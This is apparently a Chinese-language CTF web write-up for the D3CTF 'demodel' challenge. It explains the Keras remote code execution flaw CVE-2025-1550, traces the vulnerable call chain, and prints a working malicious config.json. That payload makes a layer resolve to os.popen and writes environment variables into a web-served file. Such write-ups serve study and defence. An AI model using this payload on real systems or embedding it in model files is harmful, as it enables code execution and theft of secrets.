D3CTF-Web-WP

demodel

Keras<3.9.0 远程代码执行漏洞(CVE-2025-1550)

擦查资料:

阿里云漏洞库

漏洞描述

Keras 是用于构建和训练深度学习模型的神经网络 API。

受影响版本中,由于 functional.py 中的 process_layer 方法反序列化前未检查对象是否属于合法的 Keras 层,导致 Model.load_model 函数使在 safe_mode=True 的情况下仍存在反序列化漏洞。

攻击者可构造包含恶意 config.json 文件的 .keras 文件,当被加载时触发恶意代码执行。

漏洞补丁:https://app.codecov.io/gh/keras-team/keras/pull/20751

正常走不到补丁的process_layer 方法(在functional_from_config中调用)

倒着找调用functional_from_config的方法:Model.from_config

serialization_lib._retrieve_class_or_fn方法中:

1
2
3
4
5
6
7
8
9
10
try:
mod = importlib.import_module(module)
except ModuleNotFoundError:
raise TypeError(
f"Could not deserialize {obj_type} '{name}' because "
f"its parent module {module} cannot be imported. "
f"Full object config: {full_config}"
)
obj = vars(mod).get(name, None)#这里可以导入任意模块并返回函数,思路是这里返回向popen函数能不能有地方调用,最后找到在functional.process_node调用,并且参数可控
后面会返回obj

控制module=keras.models,name=Model

之后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
saveing_api.load_model
save_lib.load_model
save_lib._load_model_from_fileobj
save_lib._model_from_config
serialization_lib.deserialize_keras_object
cls = _retrieve_class_or_fn(
class_name,
registered_name,
module,
obj_type="class",
full_config=config,
custom_objects=custom_objects,
)
cls就是Model
然后cls.from_config(inner_config)进入from_config调用functional_from_config:
if "module" not in layer_data:
# Legacy format deserialization (no "module" key)
# used for H5 and SavedModel formats
layer = saving_utils.model_from_config(
layer_data, custom_objects=custom_objects
)
else:
layer = serialization_lib.deserialize_keras_object(
layer_data, custom_objects=custom_objects
)
created_layers[layer_name] = layer
构造让serialization_lib.deserialize_keras_object返回popen即可
然后构造让它能走到process_node(会调用layer,恰好layer与args都可控)

调用链:

config.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"class_name": "Model",
"module": "keras.models",
"config": {
"name": "my_model",
"layers": [{"name":"aaa",
"class_name": "popen",
"module": "os",
"config":"whoami",
"inbound_nodes": [
{
"args": ["mkdir static;env>static/1.txt"],
"kwargs": {}
}
]}],
"input_layers": "",
"output_layers": ""
}
}

“input_layers”: “”,
“output_layers”: “”也是因为中途有判断,加进去的,缺少就8行了


D3CTF-Web-WP
https://www.xiaotian.org.cn/2025/05/31/D3CTF-Web-WP/
作者
xiaotian
发布于
2025年5月31日
许可协议